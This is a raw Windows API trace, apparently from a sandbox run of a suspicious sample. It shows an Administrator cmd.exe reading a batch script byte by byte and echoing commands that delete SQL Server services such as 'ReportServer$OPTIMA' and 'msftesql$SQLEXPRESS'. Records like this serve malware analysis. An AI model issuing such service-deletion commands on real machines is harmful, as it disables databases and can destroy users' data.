lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0077.370] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.370] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.370] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0077.370] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.370] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.370] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0077.370] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.370] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.370] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0077.370] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.370] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.371] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.371] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0077.371] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.371] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.371] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.371] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0077.371] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.371] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.371] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.371] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0077.371] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.371] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.371] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.371] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0077.371] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.371] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.371] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.371] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0077.371] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.371] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.371] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.371] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="meportServer$OPTIMA\"\nA\"\n") returned 1 [0077.371] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.371] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.371] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.372] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="sportServer$OPTIMA\"\nA\"\n") returned 1 [0077.372] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.372] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.372] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.372] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="fortServer$OPTIMA\"\nA\"\n") returned 1 [0077.372] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.372] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.372] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.372] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="trtServer$OPTIMA\"\nA\"\n") returned 1 [0077.372] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.372] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.372] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.372] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="etServer$OPTIMA\"\nA\"\n") returned 1 [0077.372] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.372] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.372] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.372] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="sServer$OPTIMA\"\nA\"\n") returned 1 [0077.372] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.372] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.372] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.372] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="qerver$OPTIMA\"\nA\"\n") returned 1 [0077.372] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.372] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.372] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.372] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="lrver$OPTIMA\"\nA\"\n") returned 1 [0077.372] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.372] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.373] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.373] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="$ver$OPTIMA\"\nA\"\n") returned 1 [0077.373] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.373] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.373] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.373] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="Ser$OPTIMA\"\nA\"\n") returned 1 [0077.373] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.373] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.373] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.373] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="Qr$OPTIMA\"\nA\"\n") returned 1 [0077.373] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.373] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.373] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.373] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="L$OPTIMA\"\nA\"\n") returned 1 [0077.373] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.373] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.373] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.373] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="EOPTIMA\"\nA\"\n") returned 1 [0077.373] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.373] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.373] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.373] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="XPTIMA\"\nA\"\n") returned 1 [0077.373] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.373] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.373] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.374] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="PTIMA\"\nA\"\n") returned 1 [0077.374] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.374] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.374] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.374] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="RIMA\"\nA\"\n") returned 1 [0077.374] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.374] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.374] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.374] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="EMA\"\nA\"\n") returned 1 [0077.374] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.374] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.374] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.374] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="SA\"\nA\"\n") returned 1 [0077.374] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.374] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.374] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.374] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="S\"\nA\"\n") returned 1 [0077.374] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.374] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.374] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.374] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="\"\nA\"\n") returned 1 [0077.374] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.374] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.374] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.375] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="\nA\"\n") returned 1 [0077.375] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.375] GetFileType (hFile=0xb8) returned 0x3 [0077.375] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.375] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.375] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.375] GetFileType (hFile=0x120) returned 0x3 [0077.375] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"msftesql$SQLEXPRESS\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"msftesql$SQLEXPRESS\"\n", lpUsedDefaultChar=0x0) returned 33 [0077.375] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x20, lpOverlapped=0x0) returned 1 [0077.375] GetProcessHeap () returned 0x240000 [0077.375] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0077.375] GetProcessHeap () returned 0x240000 [0077.375] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0077.375] GetProcessHeap () returned 0x240000 [0077.375] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0077.375] GetProcessHeap () returned 0x240000 [0077.375] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0077.375] GetProcessHeap () returned 0x240000 [0077.375] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4c) returned 0x25ba10 [0077.375] GetConsoleOutputCP () returned 0x1b5 [0077.375] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.376] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.376] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.376] GetProcessHeap () returned 0x240000 [0077.376] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0077.376] GetProcessHeap () returned 0x240000 [0077.376] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x52) returned 0x259b30 [0077.376] GetProcessHeap () returned 0x240000 [0077.376] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0077.376] SetErrorMode (uMode=0x0) returned 0x1 [0077.376] SetErrorMode (uMode=0x1) returned 0x0 [0077.376] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0077.376] SetErrorMode (uMode=0x1) returned 0x1 [0077.376] GetProcessHeap () returned 0x240000 [0077.376] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0077.376] GetProcessHeap () returned 0x240000 [0077.376] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0077.376] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.376] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.376] GetProcessHeap () returned 0x240000 [0077.376] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0077.376] GetProcessHeap () returned 0x240000 [0077.376] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0077.377] GetProcessHeap () returned 0x240000 [0077.377] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0077.377] GetProcessHeap () returned 0x240000 [0077.377] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0077.377] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.377] GetProcessHeap () returned 0x240000 [0077.377] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x2597e0 [0077.377] GetProcessHeap () returned 0x240000 [0077.377] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x2597e0, Size=0x7e) returned 0x2597e0 [0077.377] GetProcessHeap () returned 0x240000 [0077.377] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2597e0) returned 0x7e [0077.377] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.377] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.377] GetLastError () returned 0x2 [0077.377] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.377] GetLastError () returned 0x2 [0077.377] 